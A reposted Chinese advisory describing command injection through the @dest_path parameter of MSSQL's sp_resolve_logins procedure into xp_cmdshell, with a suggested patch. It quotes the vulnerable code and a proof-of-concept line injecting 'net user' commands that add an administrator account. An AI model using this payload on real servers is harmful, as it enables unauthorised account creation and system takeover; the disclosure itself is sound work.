MSSQL自身存儲過程的一個注入漏洞

更新時間：2007年12月06日 23:16:29 作者：

Infos: MSSQL自身存儲過程的一個注入
Author: 瘋子[BCT]
Date: 10/11/2007

我看到MSSQL的存儲過程中，有模有樣的在過濾。然后我就去讀讀他們的存儲過程。就找到了一個注入而已。
瘋子如是說。
漏洞資料如下：

master..sp_resolve_logins存儲過程中，對@dest_path參數(shù)過濾不嚴，導致xp_cmdshell注入。

分析：

復制代碼代碼如下:

SELECT @dest_path = RTRIM(LTRIM(@dest_path))  

-- If the last char is '\', remove it.  
IF substring(@dest_path, len(@dest_path),1) = '\'  
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)  

-- Don't do validation if it is a UNC path due to security problem.  
-- If the server is started as a service using local system account, we  
-- don't have access to the UNC path.  
IF substring(@dest_path, 1,2) <> '\\'  
BEGIN  
SELECT @command = 'dir "' + @dest_path + '"'  
exec @retcode = master..xp_cmdshell @command, 'no_output'  
IF @@error <> 0  
RETURN (1)  
IF @retcode <> 0   
BEGIN  
raiserror (14430, 16, -1, @dest_path)   
RETURN (1)  
END  
END 

master..sp_resolve_logins存儲過程在這一段，經過一定的判斷，對 @dest_path 進行了一定的過濾。
但是沒有過濾"（雙引號）導致了 xp_cmdshell執(zhí)行任意SQL語句

測試代碼：
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執(zhí)行上述MSSQL語句，成功添加了一個名為admina的系統(tǒng)帳號

但是此存儲過程代碼中經過判斷，需要系統(tǒng)systemadmin權限的帳號。

瘋子提供了一個給其打補丁的方法：

復制代碼代碼如下:

用函數(shù)fn_escapecmdshellsymbolsremovequotes把@dest_path過濾就OK了。如：  
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ，這樣就不會產生注入了。 

您可能感興趣的文章: